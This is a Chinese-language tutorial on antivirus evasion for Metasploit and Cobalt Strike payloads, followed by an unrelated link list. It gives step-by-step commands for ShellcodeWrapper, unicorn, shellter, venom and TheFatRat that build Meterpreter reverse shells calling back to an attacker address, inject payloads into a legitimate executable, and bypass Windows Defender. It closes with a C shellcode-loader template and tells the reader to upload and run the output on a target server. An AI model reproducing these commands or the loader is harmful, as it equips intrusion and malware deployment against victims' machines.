工具免杀

选择了几个简单或者近期还有更新的免杀工具进行学习

ShellcodeWrapper

https://github.com/Arno0x/ShellcodeWrapper

该工具的原理是使用异或加密或者aes加密,做到混淆,进行免杀。

先使用msfvenom生成raw格式文件

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.1 LPORT=4444 -f raw -o shellcode.raw

下面命令mi0 是密码随意写即可。

python shellcode_encoder.py -cpp -cs -py payload/shellcode.raw mi0 xor

会生成3个文件,用C++编译的cpp文件,用python编译的py文件和用c#编译的cs文件

直接丢到vs中把cpp编译生成exe文件即可,上传目标服务器。

unicorn

项目地址

https://github.com/trustedsec/unicorn.git

从github上下载下来就可以运行,使用方法非常简单

支持生成ps1、macro、hta、dde等形式的代码和文件

所有类型的使用方法如下

Usage:
python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
PS Down/Exec Macro: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00 or metasploit)
Custom Shellcode HTA: python unicorn.py <path_to_shellcode.txt> shellcode hta (formatted 0x00 or metasploit)
Custom Shellcode Macro: python unicorn.py <path_to_shellcode.txt> shellcode macro (formatted 0x00 or metasploit)
Generate .SettingContent-ms: python unicorn.py ms

这里生产powershell的脚本

python unicorn.py windows/meterpreter/reverse_tcp 192.168.2.1 4444

运行powershell的脚本即可

shellter

shellter使用的是PE文件注入的方式,测试kali和windows的版本,感觉windows的还要方便稳定一点

https://www.shellterproject.com/download/

以windows为例下载后直接运行shellter.exe

主要一开始有2个模式,一个Auto一个manual

Auto的选项要少很多,更加的方便,manual选项很多,可以自定义调用的混淆模块等参数

Choose Operation Mode - Auto/Manual (A/M/H): A

Perform Online Version Check? (Y/N/H): N

#此处输入注入的PE文件,这里注入D盾
PE Target: \\vmware-host\Shared Folders\Mac 上的 mi0\script\kali\D_Safe_Manage.exe ......(等待) #选择是否开启隐藏模式
Enable Stealth Mode? (Y/N/H): N #选择回连payload的方式
************
* Payloads *
************ [1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec #选择输入listed payload输入
Use a listed payload or custom? (L/C/H): L #输入payload的编号
Select payload by index: 1 ***************************
* meterpreter_reverse_tcp *
***************************
#设置监听地址和端口
SET LHOST: 192.168.2.1 SET LPORT: 4444 .....(等待生成成功即可)

目标服务器上运行程序即可反弹shell(我这里用msf的模块监听即可收到shell)

venom

项目地址

https://github.com/r00t-3xp10it/venom

安装起来步骤比较繁琐,主要是依赖问题

进入到目标文件夹

sudo aux/setup.sh

会帮你安装所有需要的依赖,之后运行

sudo ./venom.sh

选择目标的模块

            __    _ ______  ____   _  _____  ____    __
\ \ //| ___|| \ | |/ \| \ / |
\ \// | ___|| \| || || \/ |
\__/ |______||__/\____|\_____/|__/\__/|__|1.0.16
USER:kali ENV:vm INTERFACE:eth0 ARCH:x64 DISTRO:Kali
╔─────────────────────────────────────────────────────────────╗
║ 1 - Unix based payloads ║
║ 2 - Windows-OS payloads ║
║ 3 - Multi-OS payloads ║
║ 4 - Android|IOS payloads ║
║ 5 - Webserver payloads ║
║ 6 - Microsoft office payloads ║
║ 7 - System built-in shells ║
║ 8 - Amsi Evasion Payloads ║
║ ║
║ E - Exit Shellcode Generator ║
╚─────────────────────────────────────────────────────────────╣
SSARedTeam@2019_|
[☠] Shellcode Generator
[➽] Chose Categorie number: 2

之后会弹出适应该模块的免杀方式以及生成文件格式,输入对应的编号即可

之后分别会弹出接收shell的host输入框,接收shell的port输入框,反弹shell的payload选择框(都是msf的),输入生成文件的名字

后面2个参数都选deafult默认即可

参数输完之后,去vemon项目下的output中取生成的shell发送到目标服务器上运行即可

注:windows 1的dll文件shell能够绕过windows 10自带病毒检测(这就很nice)

运行dll可以使用以下命令

rundll32.exe test.dll,main

TheFatRad

项目地址

https://github.com/Screetsec/TheFatRat

安装步骤很简单

chmod +x setup.sh && ./setup.sh

更新(更新后还要重新setup.sh一下)

./update && chmod +x setup.sh && ./setup.sh

再检查下组件是否正常

chmod +x chk_tools
./chk_tools

注意下即使组件正常也要安装names的python依赖,之后调用模块的时候会用到

pip install names

踩坑:我的环境是kali20.2,这个版本的kali使用的kali用户而不是root用户,用sudo pip安装了后,启动fatrat还是说找不到names模块,这时候需要sudo su切换到root用户进行names的安装

在安装时会发现它还需要BDF这个免杀作为依赖

在确定所有组件安装完毕后运行

sudo ./fatrat

稍等片刻进入界面

2         ____
| |
|____|
_|____|_ _____ _ _____ _ _____ _
/ ee\_ |_ _| |_ ___| __|___| |_| __ |___| |_
.< __O | | | | -_| __| .'| _| -| .'| _|
/\ \.-.' \ |_| |_|_|___|__| |___|_| |__|__|___|_|
J \.|'.\/ \
| |_.|. | | | [--] Backdoor Creator for Remote Acces [--]
\__.' .|-' / [--] Created by: Edo Maland (Screetsec) [--]
L /|o'--'\ [--] Version: 1.9.7 [--]
| /\/\/\ \ [--] Codename: Whistle [--]
J / \.__\ [--] Follow me on Github: @Screetsec [--]
J / \.__\ [--] Dracos Linux : @dracos-linux.org [--]
|/ / [--] [--]
\ .'\. [--] SELECT AN OPTION TO BEGIN: [--]
____)_/\_(___\. [--] .___________________________________[--]
(___._/ \_.___)'\_.-----------------------------------------/ [01] Create Backdoor with msfvenom
[02] Create Fud 100% Backdoor with Fudwin 1.0
[03] Create Fud Backdoor with Avoid v1.2
[04] Create Fud Backdoor with backdoor-factory [embed]
[05] Backdooring Original apk [Instagram, Line,etc]
[06] Create Fud Backdoor 1000% with PwnWinds [Excelent]
[07] Create Backdoor For Office with Microsploit
[08] Trojan Debian Package For Remote Acces [Trodebi]
[09] Load/Create auto listeners
[10] Jump to msfconsole
[11] Searchsploit
[12] File Pumper [Increase Your Files Size]
[13] Configure Default Lhost & Lport
[14] Cleanup
[15] Help
[16] Credits
[17] Exit ┌─[TheFatRat]──[~]─[menu]:
└─────►2

这里官方推荐02和06模块,这里使用02的模块中的udp加壳

   _______ ___ ___ ______   ___ ___ ___ ______
| _ | Y | _ \ | Y | | _ \
|. 1___|. | |. | \|. | |. |. | |
|. __) |. | |. | |. / \ |. |. | |
|: | |: 1 |: 1 |: |: |: | |
|::.| |::.. . |::.. . /|::.|:. |::.|::.| |
--- ------- ------ --- --- --- --- --- 1.0 Select one tool to create your Windows EXE FUD Rat [ 1 ] - Powerstager 0.2.5 by z0noxz (powershell) (NEW)
[ 2 ] - Slow But Powerfull (OLD)
[ 3 ] - Return to menu ┌─[TheFatRat]──[~]─[FUDWIN]:
└─────► 2

会出现填写lhost和lport的提示框

之后会等很长一段时间,生成exe文件,上传到目标服务器运行即可

监听使用msf的windows/meterpreter/reverse_tcp)即可

该免杀工具也能过win10的自带防火墙

手动修改代码

免杀思路:通过cs和msf生成后门文件,对生成的后门进行代码处理达到免杀

避免弹出黑窗

在编写c代码的时候可以加上该语句,则不会触发黑窗

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

基本格式

编译环境是VS 2019

在运行前将编译器的栈缓冲区安全检查(/Gs) 、数据执行保护(DEP)以及代码优化关闭关闭

关闭位置:

代码优化:C/C++ --> 优化

栈缓冲区安全检查(/Gs):C/C++ --> 代码生成 --> 安全检查

数据执行保护(DEP):连接器 --> 高级 --> 数据执行保护

我们可以使用下面的模板生成shellcode,将msf或者cs的shellcode放入到buf数组变量中即可。

在运行前可以对buf中的字符进行处理达到免杀(之后会学习记录下如何手写shellcode)

#include <windows.h>
#include <iostream>
#include <time.h>
#pragma comment (lib, "winmm.lib") #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void startShellCode()
{
unsigned char buf[] = ""; void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof(buf));
((void(*)())exec)();
} void main() {
startShellCode();
}

shellcode 免杀(一)的更多相关文章

  1. Python 加密 shellcode 免杀

    Python 加密 shellcode 免杀 环境准备:   Windows7 32 位系统: Shellcode 使用 kali linux Metasploit 生成 shellcode Wind ...

  2. 那些shellcode免杀总结

    首发先知: https://xz.aliyun.com/t/7170 自己还是想把一些shellcode免杀的技巧通过白话文.傻瓜式的文章把技巧讲清楚.希望更多和我一样web狗也能动手做到免杀的实现. ...

  3. 【原创】ShellCode免杀的骚姿势

    ShellCode免杀的骚姿势 常见的免杀手法: shellcode(攻击代码)和加载程序的分离: Lolbins白利用加载shellcode(白名单利用): shellcode混淆.编码解码: sh ...

  4. VirtualAlloc加载shellcode免杀一点记录

    一个很好的学习网站 推荐一下: https://docs.microsoft.com/zh-cn/windows/win32/api/ 0x01 VirtualAlloc VirtualAlloc: ...

  5. [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)

    0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...

  6. Bypass AV meterpreter免杀技巧

    0x01 meterpreter简介 MetasploitFramework是一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台,它集成了各种平台上常见的溢出漏洞和流行的shellco ...

  7. [原创]CobaltStrike & Metasploit Shellcode一键免杀工具

    CobaltStrike & Metasploit  Shellcode一键免杀工具 作者: K8哥哥 图片 1个月前该工具生成的exe免杀所有杀软,现在未测应该还能过90%的杀软吧. 可选. ...

  8. shellcode隐写到像素RGB免杀上线到CS

    利用把Shellcode隐写到图片像素RGB进行免杀上线到CS --by:chenw 0x01 前言 前几天跟一个朋友一起搞一个站的时候,发现那个站点开了很多杀软,使用CS的powershell马无法 ...

  9. 附件携马之CS免杀shellcode过国内主流杀软

    0x01 写在前面 其实去年已经写过类似的文章,但是久没用了,难免有些生疏.所谓温故而知新,因此再详细的记录一下,一方面可以给各位看官做个分享,另一方面等到用时也不至于出现临阵磨枪的尴尬场面. 0x0 ...

随机推荐

  1. [JavaWeb基础] 009.Struts2 上传文件

    在web开发中,我们经常遇到要把文件上传下载的功能,这篇文章旨在指导大家完成文件上传功能 1.首先我们需要一个上传文件的页面. <!--在进行文件上传时,表单提交方式一定要是post的方式, 因 ...

  2. 解决SpringBoot在后台接收前台传递对象方式

    问题描述 前台传递对象,不管是通过ajax请求方式,还是axios请求方式.后台应该怎么接收对象处理呢? 比如前台传递 ajax方式: $.ajax({ url: "后台的方式", ...

  3. 如何从0创建一个react项目

    1. 确保本机电脑安装了yarn和node: 2. 在需要安装的文件夹目录下输入:create-react-app  +(项目名称): PS:上图使用的软件为webStorm 3. 此时一个简单的re ...

  4. Java实现 蓝桥杯 算法训练 天数计算

    试题 算法训练 天数计算 问题描述 编写函数求某年某月某日(**** ** **)是这一年的第几天 .提示:要考虑闰年,闰年的2月是29天(闰年的条件:是4的倍数但不是100的倍数,或者是400的倍数 ...

  5. Java实现 LeetCode 530 二叉搜索树的最小绝对差(遍历树)

    530. 二叉搜索树的最小绝对差 给你一棵所有节点为非负值的二叉搜索树,请你计算树中任意两节点的差的绝对值的最小值. 示例: 输入: 1 \ 3 / 2 输出: 1 解释: 最小绝对差为 1,其中 2 ...

  6. Java实现 LeetCode 295 数据流的中位数

    295. 数据流的中位数 中位数是有序列表中间的数.如果列表长度是偶数,中位数则是中间两个数的平均值. 例如, [2,3,4] 的中位数是 3 [2,3] 的中位数是 (2 + 3) / 2 = 2. ...

  7. Java实现 蓝桥杯VIP 算法提高 贪吃的大嘴

    算法提高 贪吃的大嘴 时间限制:1.0s 内存限制:256.0MB 问题描述 有一只特别贪吃的大嘴,她很喜欢吃一种小蛋糕,而每一个小蛋糕有一个美味度,而大嘴是很傲娇的,一定要吃美味度和刚好为m的小蛋糕 ...

  8. JavaScript实现html购物车代码

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  9. Java实现BFS广度优先查找

    1 问题描述 广度优先查找(Breadth-first Search,BFS)按照一种同心圆的方式,首先访问所有和初始顶点邻接的顶点,然后是离它两条边的所有未访问顶点,以此类推,直到所有与初始顶点同在 ...

  10. java实现指数问题

    3^n mod 19 求n次幂,对19取模 ================ (3 * 3) * (3 * 3) * 3 public class A { // 分治 public static in ...